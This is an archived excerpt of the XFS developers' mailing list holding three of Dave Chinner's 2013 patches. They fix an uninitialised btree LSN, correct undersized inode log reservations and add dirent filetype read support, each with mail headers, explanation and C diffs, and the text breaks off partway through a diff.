xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4FB7029E0E for ; Wed, 4 Sep 2013 17:21:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D5911AC003 for ; Wed, 4 Sep 2013 15:21:34 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0006-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id DIxAdvom6iXU0OJm for ; Wed, 04 Sep 2013 15:21:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dS-T0 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003vp-IR for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 52/55] xfs: btree block LSN escaping to disk uninitialised Date: Thu, 5 Sep 2013 08:05:56 +1000 X-ASG-Orig-Subj: [PATCH 52/55] xfs: btree block LSN escaping to disk uninitialised Message-Id: <1378332359-14737-53-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333292 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When testing LSN ordering code for v5 superblocks, it was discovered that the the LSN embedded in the generic btree blocks was occasionally uninitialised. These values didn't get written to disk by metadata writeback - they got written by previous transactions in log recovery. The issue is here that the when the block is first allocated and initialised, the LSN field was not initialised - it gets overwritten before IO is issued on the buffer - but the value that is logged by transactions that modify the header before it is written to disk (and initialised) contain garbage. Hence the first recovery of the buffer will stamp garbage into the LSN field, and that can cause subsequent transactions to not replay correctly. The fix is simply to initialise the bb_lsn field to zero when we initialise the block for the first time. Signed-off-by: Dave Chinner --- libxfs/xfs_btree.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index 3ac3330..0099926 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -921,6 +921,7 @@ xfs_btree_init_block_int( buf->bb_u.l.bb_owner = cpu_to_be64(owner); uuid_copy(&buf->bb_u.l.bb_uuid, &mp->m_sb.sb_uuid); buf->bb_u.l.bb_pad = 0; + buf->bb_u.l.bb_lsn = 0; } } else { /* owner is a 32 bit value on short blocks */ @@ -932,6 +933,7 @@ xfs_btree_init_block_int( buf->bb_u.s.bb_blkno = cpu_to_be64(blkno); buf->bb_u.s.bb_owner = cpu_to_be32(__owner); uuid_copy(&buf->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid); + buf->bb_u.s.bb_lsn = 0; } } } -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5549C29E22 for ; Wed, 4 Sep 2013 17:21:35 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 45CCF304048 for ; Wed, 4 Sep 2013 15:21:35 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0008-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 1qcrAXGqXLrwQloJ for ; Wed, 04 Sep 2013 15:21:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnoIAKexJ1J5LJ62/2dsb2JhbABbgweuUZN5gSgXdIIkAQEFJy8zCBgYGTkDGxmIAbo2j1UchBMDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007du-Pm for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003vy-JF for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 53/55] xfs: inode log reservations are too small Date: Thu, 5 Sep 2013 08:05:57 +1000 X-ASG-Orig-Subj: [PATCH 53/55] xfs: inode log reservations are too small Message-Id: <1378332359-14737-54-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333293 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner We've been seeing occasional problems with log space leaks and transaction underruns such as this for some time: XFS (dm-0): xlog_write: reservation summary: trans type = FSYNC_TS (36) unit res = 2740 bytes current res = -4 bytes total reg = 0 bytes (o/flow = 0 bytes) ophdrs = 0 (ophdr space = 0 bytes) ophdr + reg = 0 bytes num regions = 0 Turns out that xfstests generic/311 is reliably reproducing this problem with the test it runs at sequence 16 of it execution. It is a 100% reliable reproducer with the mkfs configuration of "-b size=1024 -m crc=1" on a 10GB scratch device. The problem? Inode forks in btree format are logged in memory format, not disk format (i.e. bmbt format, not bmdr format). That means there is a btree block header being logged, when such a structure is never written to the inode fork in bmdr format. The bmdr header in the inode is only 4 bytes, while the bmbt header is 24 bytes for v4 filesystems and 72 bytes for v5 filesystems. We currently reserve the inode size plus the rounded up overhead of a logging a buffer, which is 128 bytes. That means the reservation for a 512 byte inode is 640 bytes. What we can actually log is: inode core, data and attr fork = 512 bytes inode log format + log op header = 56 + 12 = 68 bytes data fork bmbt hdr = 24/72 bytes attr fork bmbt hdr = 24/72 bytes So, for a v2 inodes we can log at least 628 bytes, but if we split that inode over the end of the log across log buffers, we need to also another log op header, which takes us to 640 bytes. If there's another reservation taken out of this that I haven't taken into account (perhaps multiple iclog splits?) or I haven't corectly calculated the bmbt format space used (entirely possible), then we will overun it. For v3 inodes the maximum is actually 724 bytes, and even a single maximally sized btree format fork can blow it (652 bytes). And that's exactly what is happening with the FSYNC_TS transaction in the above output - it's consumed 644 bytes of space after the CIL context took the space reserved for it (2100 bytes). This problem has always been present in the XFS code - the btree format inode forks have always been logged in this manner. Hence there has always been the possibility of an overrun with such a transaction. The CRC code has just exposed it frequently enough to be able to debug and understand the root cause.... So, let's fix all the inode log space reservations. [ I'm so glad we spent the effort to clean up the transaction reservation code. This is an easy fix now. ] Signed-off-by: Dave Chinner --- libxfs/xfs_trans_resv.c | 72 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 53 insertions(+), 19 deletions(-) diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index d134136..3e14b1c 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -48,6 +48,39 @@ xfs_calc_buf_res( } /* + * Logging inodes is really tricksy. They are logged in memory format, + * which means that what we write into the log doesn't directory translate into + * the amount of space they use on disk. + * + * Case in point - btree format forks in memory format use more space than the + * on-disk format. In memory, the buffer contains a normal btree block header so + * the btree code can treat it as though it is just another generic buffer. + * However, when we write it to the inode fork, we don't write all of this + * header as it isn't needed. e.g. the root is only ever in the inode, so + * there's no need for sibling pointers which would waste 16 bytes of space. + * + * Hence when we have an inode with a maximally sized btree format fork, then + * amount of information we actually log is greater than the size of the inode + * on disk. Hence we need an inode reservation function that calculates all this + * correctly. So, we log: + * + * - log op headers for object + * - inode log format object + * - the entire inode contents (core + 2 forks) + * - two bmap btree block headers + */ +STATIC uint +xfs_calc_inode_res( + struct xfs_mount *mp, + uint ninodes) +{ + return ninodes * (sizeof(struct xlog_op_header) + + sizeof(struct xfs_inode_log_format) + + mp->m_sb.sb_inodesize + + 2 * XFS_BMBT_BLOCK_LEN(mp)); +} + +/* * Various log reservation values. * * These are based on the size of the file system block because that is what @@ -86,7 +119,7 @@ xfs_calc_write_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + MAX((xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + @@ -115,7 +148,7 @@ xfs_calc_itruncate_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + MAX((xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + @@ -145,7 +178,7 @@ xfs_calc_rename_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(4, mp->m_sb.sb_inodesize) + + MAX((xfs_calc_inode_res(mp, 4) + xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + @@ -170,7 +203,7 @@ xfs_calc_link_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + MAX((xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + @@ -195,7 +228,7 @@ xfs_calc_remove_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + MAX((xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + @@ -222,7 +255,7 @@ STATIC uint xfs_calc_create_resv_modify( struct xfs_mount *mp) { - return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + return xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + (uint)XFS_FSB_TO_B(mp, 1) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); @@ -332,7 +365,7 @@ xfs_calc_ifree_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), @@ -353,9 +386,8 @@ xfs_calc_ichange_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - mp->m_sb.sb_inodesize + - mp->m_sb.sb_sectsize + - 512; + xfs_calc_inode_res(mp, 1) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); } @@ -391,7 +423,7 @@ xfs_calc_growrtalloc_reservation( return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -423,7 +455,7 @@ xfs_calc_growrtfree_reservation( struct xfs_mount *mp) { return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(1, mp->m_sb.sb_blocksize) + xfs_calc_buf_res(1, mp->m_rsumsize); } @@ -436,7 +468,7 @@ STATIC uint xfs_calc_swrite_reservation( struct xfs_mount *mp) { - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); + return xfs_calc_inode_res(mp, 1); } /* @@ -444,9 +476,10 @@ xfs_calc_swrite_reservation( * inode */ STATIC uint -xfs_calc_writeid_reservation(xfs_mount_t *mp) +xfs_calc_writeid_reservation( + struct xfs_mount *mp) { - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); + return xfs_calc_inode_res(mp, 1); } /* @@ -462,7 +495,7 @@ xfs_calc_addafork_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(1, mp->m_dirblksize) + xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, @@ -486,7 +519,7 @@ STATIC uint xfs_calc_attrinval_reservation( struct xfs_mount *mp) { - return MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + return MAX((xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + @@ -510,7 +543,7 @@ xfs_calc_attrsetm_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)); } @@ -550,7 +583,7 @@ xfs_calc_attrrm_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + MAX((xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)) + (uint)XFS_FSB_TO_B(mp, @@ -602,6 +635,7 @@ STATIC uint xfs_calc_qm_dqalloc_reservation( struct xfs_mount *mp) { + ASSERT(M_RES(mp)->tr_write.tr_logres); return M_RES(mp)->tr_write.tr_logres + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 28E1C29DFC for ; Wed, 4 Sep 2013 17:21:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0AF998F8033 for ; Wed, 4 Sep 2013 15:21:34 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0005-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id hBJFdFJ5RhXhqud3 for ; Wed, 04 Sep 2013 15:21:30 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgYRAKexJ1J5LJ62/2dsb2JhbABbgwc1rVoDP5UhF3SCJAEBBRoBDC8zCBgYGTkDGxmIAbo2j3GEEwOUG4UJkDeDMiqBLAIeBAI Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDB-0007dp-34 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003vA-Eg for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 47/55] xfs: Add read-only support for dirent filetype field Date: Thu, 5 Sep 2013 08:05:51 +1000 X-ASG-Orig-Subj: [PATCH 47/55] xfs: Add read-only support for dirent filetype field Message-Id: <1378332359-14737-48-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333289 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Add support for the file type field in directory entries so that readdir can return the type of the inode the dirent points to to userspace without first having to read the inode off disk. The encoding of the type field is a single byte that is added to the end of the directory entry name length. For all intents and purposes, it appends a "hidden" byte to the name field which contains the type information. As the directory entry is already of dynamic size, helpers are already required to access and decode the direct entry structures. Hence the relevent extraction and iteration helpers are updated to understand the hidden byte. Helpers for reading and writing the filetype field from the directory entries are also added. Only the read helpers are used by this patch. It also adds all the code necessary to read the type information out of the dirents on disk. Further we add the superblock feature bit and helpers to indicate that we understand the on-disk format change. This is not a compatible change - existing kernels cannot read the new format successfully - so an incompatible feature flag is added. We don't yet allow filesystems to mount with this flag yet - that will be added once write support is added. Finally, the code to take the type from the VFS, convert it to an XFS on-disk type and put it into the xfs_name structures passed around is added, but the directory code does not use this field yet. That will be in the next patch. Signed-off-by: Dave Chinner --- db/check.c | 12 +-- db/dir2.c | 10 +-- db/dir2sf.c | 9 ++- db/metadump.c | 10 +-- include/xfs_da_btree.h | 1 + include/xfs_dir2.h | 9 ++- include/xfs_dir2_format.h | 183 ++++++++++++++++++++++++++++++++++++++++------ include/xfs_sb.h | 28 ++++--- include/xfs_types.h | 1 + libxfs/xfs_dir2.c | 5 +- libxfs/xfs_dir2_block.c | 18 ++--- libxfs/xfs_dir2_data.c | 13 ++-- libxfs/xfs_dir2_leaf.c | 6 +- libxfs/xfs_dir2_node.c | 8 +- libxfs/xfs_dir2_priv.h | 44 +++++------ libxfs/xfs_dir2_sf.c | 122 ++++++++++++++++++------------- logprint/log_misc.c | 58 ++++++++------- repair/dir2.c | 37 +++++----- repair/dir2.h | 1 + repair/phase6.c | 22 +++--- 20 files changed, 384 insertions(+), 213 deletions(-) diff --git a/db/check.c b/db/check.c index cbe55ba..2d4718d 100644 --- a/db/check.c +++ b/db/check.c @@ -2310,7 +2310,7 @@ process_data_dir_v2( (int)((char *)dep - (char *)data)); error++; } - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); if ((char *)tagp >= endptr) { if (!sflag || v) dbprintf(_("dir %lld block %d bad entry at %d\n"), @@ -2325,7 +2325,7 @@ process_data_dir_v2( xname.name = dep->name; xname.len = dep->namelen; dir_hash_add(mp->m_dirnameops->hashname(&xname), addr); - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); count++; lastfree = 0; lino = be64_to_cpu(dep->inumber); @@ -3436,7 +3436,7 @@ process_sf_dir_v2( sfe = xfs_dir2_sf_firstentry(sf); offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); for (i = sf->count - 1, i8 = 0; i >= 0; i--) { - if ((__psint_t)sfe + xfs_dir2_sf_entsize(sf, sfe->namelen) - + if ((__psint_t)sfe + xfs_dir3_sf_entsize(mp, sf, sfe->namelen) - (__psint_t)sf > be64_to_cpu(dip->di_size)) { if (!sflag) dbprintf(_("dir %llu bad size in entry at %d\n"), @@ -3445,7 +3445,7 @@ process_sf_dir_v2( error++; break; } - lino = xfs_dir2_sfe_get_ino(sf, sfe); + lino = xfs_dir3_sfe_get_ino(mp, sf, sfe); if (lino > XFS_DIR2_MAX_SHORT_INUM) i8++; cid = find_inode(lino, 1); @@ -3475,8 +3475,8 @@ process_sf_dir_v2( } offset = xfs_dir2_sf_get_offset(sfe) + - xfs_dir2_sf_entsize(sf, sfe->namelen); - sfe = xfs_dir2_sf_nextentry(sf, sfe); + xfs_dir3_sf_entsize(mp, sf, sfe->namelen); + sfe = xfs_dir3_sf_nextentry(mp, sf, sfe); } if (i < 0 && (__psint_t)sfe - (__psint_t)sf != be64_to_cpu(dip->di_size)) { diff --git a/db/dir2.c b/db/dir2.c index 85240b0..39042b3 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -222,7 +222,7 @@ __dir2_data_entries_count( ptr += be16_to_cpu(dup->length); else { dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } } return i; @@ -246,7 +246,7 @@ __dir2_data_entry_offset( ptr += be16_to_cpu(dup->length); else { dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } } return ptr; @@ -495,7 +495,7 @@ dir2_data_union_tag_count( end = (char *)&dep->namelen + sizeof(dep->namelen); if (end > (char *)obj + mp->m_dirblksize) return 0; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); } end = (char *)tagp + sizeof(*tagp); return end <= (char *)obj + mp->m_dirblksize; @@ -517,7 +517,7 @@ dir2_data_union_tag_offset( return bitize((int)((char *)xfs_dir2_data_unused_tag_p(dup) - (char *)dup)); dep = (xfs_dir2_data_entry_t *)dup; - return bitize((int)((char *)xfs_dir2_data_entry_tag_p(dep) - + return bitize((int)((char *)xfs_dir3_data_entry_tag_p(mp, dep) - (char *)dep)); } @@ -592,7 +592,7 @@ dir2_data_union_size( return bitize(be16_to_cpu(dup->length)); else { dep = (xfs_dir2_data_entry_t *)dup; - return bitize(xfs_dir2_data_entsize(dep->namelen)); + return bitize(xfs_dir3_data_entsize(mp, dep->namelen)); } } diff --git a/db/dir2sf.c b/db/dir2sf.c index b32ca32..d628641 100644 --- a/db/dir2sf.c +++ b/db/dir2sf.c @@ -24,6 +24,7 @@ #include "bit.h" #include "dir2.h" #include "dir2sf.h" +#include "init.h" static int dir2_inou_i4_count(void *obj, int startoff); static int dir2_inou_i8_count(void *obj, int startoff); @@ -155,8 +156,8 @@ dir2_sf_entry_size( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < idx; i++) - e = xfs_dir2_sf_nextentry(sf, e); - return bitize((int)xfs_dir2_sf_entsize(sf, e->namelen)); + e = xfs_dir3_sf_nextentry(mp, sf, e); + return bitize((int)xfs_dir3_sf_entsize(mp, sf, e->namelen)); } /*ARGSUSED*/ @@ -200,7 +201,7 @@ dir2_sf_list_offset( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < idx; i++) - e = xfs_dir2_sf_nextentry(sf, e); + e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } @@ -220,6 +221,6 @@ dir2sf_size( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < sf->count; i++) - e = xfs_dir2_sf_nextentry(sf, e); + e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } diff --git a/db/metadump.c b/db/metadump.c index a170bb5..ac6a4d6 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -939,7 +939,7 @@ obfuscate_sf_dir( namelen = ino_dir_size - ((char *)&sfep->name[0] - (char *)sfp); } else if ((char *)sfep - (char *)sfp + - xfs_dir2_sf_entsize(sfp, sfep->namelen) > + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ino_dir_size) { if (show_warnings) print_warning("entry length in dir inode %llu " @@ -950,11 +950,11 @@ obfuscate_sf_dir( (char *)sfp); } - generate_obfuscated_name(xfs_dir2_sfe_get_ino(sfp, sfep), + generate_obfuscated_name(xfs_dir3_sfe_get_ino(mp, sfp, sfep), namelen, &sfep->name[0]); sfep = (xfs_dir2_sf_entry_t *)((char *)sfep + - xfs_dir2_sf_entsize(sfp, namelen)); + xfs_dir3_sf_entsize(mp, sfp, namelen)); } } @@ -1184,7 +1184,7 @@ obfuscate_dir_data_blocks( } dep = (xfs_dir2_data_entry_t *)ptr; - length = xfs_dir2_data_entsize(dep->namelen); + length = xfs_dir3_data_entsize(mp, dep->namelen); if (dir_offset + length > dir_data.end_of_data || ptr + length > endptr) { @@ -1194,7 +1194,7 @@ obfuscate_dir_data_blocks( (long long)cur_ino); break; } - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != dir_offset) { dir_data.bad_block = 1; break; diff --git a/include/xfs_da_btree.h b/include/xfs_da_btree.h index 6fb3371..8cdc77b 100644 --- a/include/xfs_da_btree.h +++ b/include/xfs_da_btree.h @@ -176,6 +176,7 @@ enum xfs_dacmp { typedef struct xfs_da_args { const __uint8_t *name; /* string (maybe not NULL terminated) */ int namelen; /* length of string (maybe no NULL) */ + __uint8_t filetype; /* filetype of inode for directories */ __uint8_t *value; /* set of bytes (maybe contain NULLs) */ int valuelen; /* length of value */ int flags; /* argument flags (eg: ATTR_NOCREATE) */ diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 7fe2b8f..9910401 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -68,10 +68,11 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, xfs_ino_t ino); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); -extern void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *, - struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino); +extern xfs_ino_t xfs_dir3_sfe_get_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *sfp, struct 